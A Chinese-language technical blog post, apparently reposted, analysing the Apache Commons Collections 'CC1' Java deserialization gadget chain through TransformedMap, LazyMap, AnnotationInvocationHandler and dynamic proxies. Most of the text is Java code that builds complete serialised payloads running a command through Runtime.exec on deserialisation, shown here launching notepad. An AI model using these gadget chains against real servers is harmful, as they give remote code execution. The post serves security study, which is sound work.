Java反序列化之CC1链分析 | 技术精选0142「终于解决」

欢迎大家来到IT世界,在知识的湖畔探索吧!

本文约4000字，阅读约需9分钟。

可能之前看Java CC1链的文章时，那复杂的玩法给我留下了阴影，这篇文章自己迟迟没有动笔——毕竟有TransformedMap玩法，还有LazyMap玩法，最终还得借助AnnotationInvocationHandler或动态代理，看着就令人头大。

但我可以拖延，洞却不会等着我。自己如果不加快节奏，你就要和我说再见了。

咬牙鼓劲，遂出此文。

1

CC

首先，还是先说下 C ommons- C ollections吧。它的 功能是为Java标准的Collections API提供了相当好的补充，对其常用的数据结构操作进行了很好的封装和抽象。保证性能的同时大大简化代码。

此包的类包含下面两个：

Map

Commons Collections在java.util.Map的基础上扩展了很多接口和类，比较有代表性的是BidiMap、MultiMap和LazyMap。跟Bag和Buffer类似，Commons Collections也提供了一个MapUtils。

所谓BidiMap，直译就是双向Map，可以通过key找到value，也可以通过value找到key，这在我们日常的代码-名称匹配的时候很方便：因为我们除了需要通过代码找到名称之外，往往也需要处理用户输入的名称，然后获取其代码。需要注意的是BidiMap当中不光key不能重复，value也不可以。

所谓MultiMap，就是说一个key不再是简单的指向一个对象，而是一组对象，add()和remove()的时候跟普通的Map无异，只是在get()时返回一个Collection，利用MultiMap，我们就可以很方便的往一个key上放数量不定的对象，也就实现了一对多。

所谓LazyMap，意思就是这个Map中的键/值对一开始并不存在，当被调用到时才创建。

https://www.iteye.com/blog/duohuoteng-1630329

Transformer

我们有时候需要将某个对象转换成另一个对象供另一组方法调用，而这两类对象的类型有可能并不是出于同一个继承体系的，或者说出了很基本的Object之外没有共同的父类，或者我们根本不关心他们是不是有其他继承关系，甚至就是同一个类的实例只是对我们而言无所谓，我们为了它能够被后续的调用者有意义的识别和处理，在这样的情形，我们就可以利用Transformer。除了基本的转型Transformer之外，Commons Collections还提供了Transformer链和带条件的Transformer，使得我们很方便的组装出有意义的转型逻辑。

https://blog.csdn.net/liliugen/article/details/83298363

重点要关注这两个类Map、Transformer。 接下来包的问题，直接上maven仓库拉就好了：

最重要的一点：CC包版本需要为3.1-3.2.1，别看3.0和3.1只差个0.1，却可能导致弹不出记事本。我这次用的是3.1。

2

构造利用链

这一步建议使用jdk7，jdk8可能会出错。

InvokerTransformer

首先，来看反射机制触发函数InvokerTransformer类的transform(Object input)：

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {

        this.iMethodName = methodName; //函数名

        this.iParamTypes = paramTypes; //函数参数的类型

        this.iArgs = args;             //参数对象

}

public Object transform(Object input) {

Class cls = input.getClass();     //获取input的类

Method method = cls.getMethod(this.iMethodName, this.iParamTypes); //调用方法

return method.invoke(input, this.iArgs);              //执行

}

欢迎大家来到IT世界,在知识的湖畔探索吧!

通过Java反射机制，我们可以构造一个命令执行：

欢迎大家来到IT世界,在知识的湖畔探索吧!public static void main(String[] args) throws Exception {

        //payload

        InvokerTransformer x = new InvokerTransformer(

                "exec",

                new Class[]{String.class},

                new String[]{"notepad"});







        //服务端

        Object d = Class.forName("java.lang.Runtime")

                .getMethod("getRuntime")

                .invoke(Class.forName("java.lang.Runtime"));

        x.transform(d);

    }

但是，这似乎不太现实，服务端给咱专门来了个：

Object d = Class.forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(Class.forName(“java.lang.Runtime”))

还得接着优化。

ChainedTransformer

接下来我们看这个类ChainedTransformer的transform函数：

欢迎大家来到IT世界,在知识的湖畔探索吧!public Object transform(Object object) {

        for(int i = 0; i < this.iTransformers.length; ++i) {

            object = this.iTransformers[i].transform(object);

        }







        return object;

}

由此函数可知，输入的对象会给第一个转化器，转换结果会被输入到第二个转换器，以此类推。

再看ChainedTransformer类的构造函数，发现iTransformers数组是用户自己定义的：

public ChainedTransformer(Transformer[] transformers) {

        this.iTransformers = transformers;

    }

接下来我们构造一下，运行：

public static void main(String[] args) throws Exception {

        //payload

        Transformer[] x = new Transformer[]{

                new InvokerTransformer(

                        "exec",

                        new Class[]{String.class},

                        new String[]{"notepad"})

        };

        Transformer d = new ChainedTransformer(x);







        //服务端

        Object a = Class.forName("java.lang.Runtime")

                .getMethod("getRuntime")

                .invoke(Class.forName("java.lang.Runtime"));

        d.transform(a);

    }

看似和第一步没什么区别，但其实是在为后面做铺垫。

ConstantTransformer

ConstantTransformer类与InvokkerTransformer一样，继承Transforme父类，可以进入数组。主要看该类的下面两个函数：

public ConstantTransformer(Object constantToReturn) {

        this.iConstant = constantToReturn;

}

 public Object transform(Object input) {

        return this.iConstant;

}

在此对其修改，由于Runtime.getRuntime()实例已经放进payload里面，transform函数有无参数都不重要，因为ConstantTransformer类的transform函数会返会iConstant值，也就是最开始我们构造函数设置好的：

public static void main(String[] args) throws Exception {

        //payload

        Transformer[] x = new Transformer[]{

                new ConstantTransformer(Runtime.getRuntime()),

                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})

        };

        Transformer d = new ChainedTransformer(x);







        //payload序列化写入文件，当作网络传输

        FileOutputStream f = new FileOutputStream("payload.bin");

        ObjectOutputStream fout = new ObjectOutputStream(f);

        fout.writeObject(d);







        //服务端反序列化payload读取

        FileInputStream f1 = new FileInputStream("payload.bin");

        ObjectInputStream f2 = new ObjectInputStream(f1);







        Transformer a = (ChainedTransformer) f2.readObject();







        d.transform(null);

}

这次之所以这样写，是因为前面的序列化和不序列化结果都一样，这次如果不序列化，看不出问题。

果然报错，Runtime类的定义没有继承Serializable类，是不支持反序列化的。

服务端生成Runtime实例

Runtime的实例是通过Runtime.getRuntime()来获取的，而InvokerTransformer里面的反射机制可以执行任意函数，我们让其执行getRuntime，从而使其成为实例。

把数组修改成如下：

Transformer[] x = new Transformer[]{

                new ConstantTransformer(Runtime.class),

                new InvokerTransformer("getRuntime",new Class[]{},new Object[]{}),

                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})

        };

结果报错了，跟踪一下：

由于是类缘故，所以input.getClass获取的是java.lang.Class。

调整一下，借用getMethod方法执行getRuntime。

Transformer[] x = new Transformer[]{

                new ConstantTransformer(Runtime.class),

                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),

                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})

         };

跟踪到x[1]进去transform函数，发现获取的类还不是Runtime实例。

再对其调整：

Transformer[] x = new Transformer[]{

                new ConstantTransformer(Runtime.class),

                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),

                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),

                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})

        };

终于成功了。

其实是等同于反射语句：

public static void main(String[] args) throws Exception {

        //x[0],object=""

        Class s = Class.forName("java.lang.Class");

        //x[1],object="java.lang.Runtime"

        Object o = s.getMethod("getMethod", new Class[]{String.class, Class[].class}).invoke(Class.forName("java.lang.Runtime"), "getRuntime", new Class[0]);

        System.out.println(o + "\n\n");

        //x[2],object="java.lang.Runtime.getRuntime()"

        s = o.getClass();

        o = s.getMethod("invoke", new Class[]{Object.class, Object[].class}).invoke(o, null, new Object[0]);

        System.out.println(s + "\n" + o + "\n\n");

        //x[3],object=

        Object o1 = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));

        System.out.println(o1);

}

可以看出，O和O1结果是一样的，但是服务端应该也不会执行。

Transformer a = (ChainedTransformer) f2.readObject();

d.transform(null);

还得继续优化。深思熟虑后， 上Map。

这里有两种Map都可以实现，一种是TransformedMap，另一种LazyMap，ysoserial用的是第二种，下面我会分别聊这两种实现方法。

TransformedMap

首先，看下TransformedMap类，发现当该类在调用put函数时，会执行transform函数，最后的执行结果会被添加到Map里：

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {

    return new TransformedMap(map, keyTransformer, valueTransformer);

}

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {

    super(map);

    this.keyTransformer = keyTransformer;

    this.valueTransformer = valueTransformer;

}

protected Object transformKey(Object object) {

    return this.keyTransformer == null ? object : this.keyTransformer.transform(object);

}







protected Object transformValue(Object object) {

    return this.valueTransformer == null ? object : this.valueTransformer.transform(object);

}

public Object put(Object key, Object value) {

    key = this.transformKey(key);

    value = this.transformValue(value);

    return this.getMap().put(key, value);

}

于是，我就尝试了一下：

interface Test extends Transformer {

    public Object transform(Object input);

}







class Test1 implements Test, Transformer {

    public Object transform(Object input) {

        return "x";

    }

}







class Test2 implements Test {

    public Object transform(Object input) {

        return "d";

    }

}







public class cc1 {

    public static void main(String[] args) throws Exception {

        Map innerMap = new HashMap();

        System.out.println(innerMap);

        Map map = TransformedMap.decorate(innerMap, new Test1(), new Test2());

        map.put("value", "value");

        System.out.println(map);

    }

}

结果也是和我想象一样，Map输出为{x=d}。

借助这个类，我们修改一下，再尝试一次：

public class cc1 {

    public static void main(String[] args) throws Exception {

        //payload

        Transformer[] x = new Transformer[]{

                new ConstantTransformer(Runtime.class),

                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),

                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),

                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})

        };

        Transformer d = new ChainedTransformer(x);

        Map map = new HashMap();

        map.put("value", "value");

        Map map1 = TransformedMap.decorate(map, null, d);

        

        //payload序列化写入文件，当作网络传输

        FileOutputStream f = new FileOutputStream("payload.bin");

        ObjectOutputStream fout = new ObjectOutputStream(f);

        fout.writeObject(map1);







        //服务端反序列化payload读取

        FileInputStream f1 = new FileInputStream("payload.bin");

        ObjectInputStream f2 = new ObjectInputStream(f1);







        Map map2 = (Map) f2.readObject();

        map2.put("value", "1");













    }

}

这次就合理起来了。服务端执行Map应该问题不大。但是我们要追求完美，要让它只执行一个readObject就弹出记事本。

AnnotationInvocationHandler的readObject复写点

看看AnnotationInvocationHandler类下的readObject函数，发现在里面有赋值操作var5.setValue，不管它值是什么，总之只要赋值就能执行我们的命令：

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {

   var1.defaultReadObject();

   AnnotationType var2 = null;







   try {

       var2 = AnnotationType.getInstance(this.type);

   } catch (IllegalArgumentException var9) {

       throw new InvalidObjectException("Non-annotation type in annotation serial stream");

   }







   Map var3 = var2.memberTypes();

   Iterator var4 = this.memberValues.entrySet().iterator();







   while(var4.hasNext()) {

       Entry var5 = (Entry)var4.next();

       String var6 = (String)var5.getKey();

       Class var7 = (Class)var3.get(var6);

       if (var7 != null) {

           Object var8 = var5.getValue();

           if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {

               var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));

           }

       }

   }







}

顺势改下代码， 由于AnnotationInvocationHandler类的构造函数的第一个参数继承Annotation，所以第一个变量可以在该包底选一个：

public class cc1 {

    public static void main(String[] args) throws Exception {

        //payload

        Transformer[] x = new Transformer[]{

                new ConstantTransformer(Runtime.class),

                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),

                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),

                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})

        };

        Transformer d = new ChainedTransformer(x);

        Map map = new HashMap();

        map.put("key", "key");

        Map map1 = TransformedMap.decorate(map, null, d);

        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        Constructor ct = cls.getDeclaredConstructor(Class.class, Map.class);

        ct.setAccessible(true);

        Object o = ct.newInstance(Documented.class, map1);

        //payload序列化写入文件，当作网络传输

        FileOutputStream f = new FileOutputStream("payload.bin");

        ObjectOutputStream fout = new ObjectOutputStream(f);

        fout.writeObject(o);







        //服务端反序列化payload读取

        FileInputStream f1 = new FileInputStream("payload.bin");

        ObjectInputStream f2 = new ObjectInputStream(f1);







        f2.readObject();













    }

}

发现var3里面有一组Map数据，会把用户输入的Map数据的每一组key值在其var3寻找，有则不为空，进入判断则可执行。

LazyMap

看看LazyMap类，发现其get函数在获取key所对应的数据时，如果当key不存在，则调用transform函数，并把执行结果作为该key所对应的数据，并添加到到Map里面：

public static Map decorate(Map map, Transformer factory) {

    return new LazyMap(map, factory);

}

protected LazyMap(Map map, Factory factory) {

    super(map);

    if (factory == null) {

        throw new IllegalArgumentException("Factory must not be null");

    } else {

        this.factory = FactoryTransformer.getInstance(factory);

    }

}

public Object get(Object key) {

    if (!super.map.containsKey(key)) {

        Object value = this.factory.transform(key);

        super.map.put(key, value);

        return value;

    } else {

        return super.map.get(key);

    }

}

用这个Map改的话，如下：

public class cc1 {

    public static void main(String[] args) throws Exception {







        //payload

        Transformer[] x = new Transformer[]{

                new ConstantTransformer(Runtime.class),

                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),

                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),

                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})

        };

        Transformer d = new ChainedTransformer(x);

        Map map = new HashMap();

        Map map1 = LazyMap.decorate(map, d);

        map1.get("key");

    }

}

不完美，还是不完美。

动态代理

我们看一段代码，运行发现，程序执行了invoke方法：

class expHandler implements InvocationHandler {

    protected Map map;







    public expHandler(Map map) {

        this.map = map;

    }







    @Override

    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {

        if (method.getName().compareTo("put") == 0) {

            System.out.println("Hook Method: " + method.getName());

            map.put("hi", "xd");

        }

        return method.invoke(this.map, args);

    }

}







public class cc1 {

    public static void main(String[] args) throws Exception {

        InvocationHandler handler = new expHandler(new HashMap());

        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

        proxyMap.put("hi", "sir");

        System.out.println(proxyMap);

}

发现输出的结果是先去执行invoke，当匹配不到，则按正常执行。

AnnotationInvocationHandler类其实和InvocationHandler差不多里都有invoke，AnnotationInvocationHandler类下的invoke里面使用的get函数，所以从这里切入：

public Object invoke(Object var1, Method var2, Object[] var3) {

    String var4 = var2.getName();

    Class[] var5 = var2.getParameterTypes();

    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {

        return this.equalsImpl(var3[0]);

    } else if (var5.length != 0) {

        throw new AssertionError("Too many parameters for an annotation method");

    } else {

        byte var7 = -1;

        switch(var4.hashCode()) {

        case -1776922004:

            if (var4.equals("toString")) {

                var7 = 0;

            }

            break;

        case 147696667:

            if (var4.equals("hashCode")) {

                var7 = 1;

            }

            break;

        case 1444986633:

            if (var4.equals("annotationType")) {

                var7 = 2;

            }

        }







        switch(var7) {

        case 0:

            return this.toStringImpl();

        case 1:

            return this.hashCodeImpl();

        case 2:

            return this.type;

        default:

            Object var6 = this.memberValues.get(var4);

            if (var6 == null) {

                throw new IncompleteAnnotationException(this.type, var4);

            } else if (var6 instanceof ExceptionProxy) {

                throw ((ExceptionProxy)var6).generateException();

            } else {

                if (var6.getClass().isArray() && Array.getLength(var6) != 0) {

                    var6 = this.cloneArray(var6);

                }







                return var6;

            }

        }

    }

}

通过这些，我们修改代码：

public class cc1 {

    public static void main(String[] args) throws Exception {

        //payload

        Transformer[] x = new Transformer[]{

                new ConstantTransformer(Runtime.class),

                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),

                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),

                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})

        };

        Transformer d = new ChainedTransformer(x);

        Map map = new HashMap();

        Map map1 = LazyMap.decorate(map, d);

        

        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        Constructor ct = cls.getDeclaredConstructor(Class.class, Map.class);

        ct.setAccessible(true);

        

        InvocationHandler handler = (InvocationHandler) ct.newInstance(Target.class, map1);

        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

        Object o = ct.newInstance(Target.class, proxyMap);  //这样写也可handler = (InvocationHandler) ct.newInstance(Retention.class, proxyMap);







        //payload序列化写入文件，当作网络传输

        FileOutputStream f = new FileOutputStream("payload.bin");

        ObjectOutputStream fout = new ObjectOutputStream(f);

        fout.writeObject(o);  //如果用的后面那种，则把o换成handler







        //服务端反序列化payload读取

        FileInputStream f1 = new FileInputStream("payload.bin");

        ObjectInputStream f2 = new ObjectInputStream(f1);







        f2.readObject();







    }

}

3

总结

相对来说，TransformedMap需要设定特定值，但是在最后一步的时候容易理解。而Lazy M ap前面不需要多难的技巧，但在后面动态代理时显得比较复杂。

– END –

原文链接：https://mp.weixin.qq.com/s?__biz=MzAwMzYxNzc1OA==&mid=2247501368&idx=1&sn=a8d6791c7f61b3a5c50b259e1ac13c8f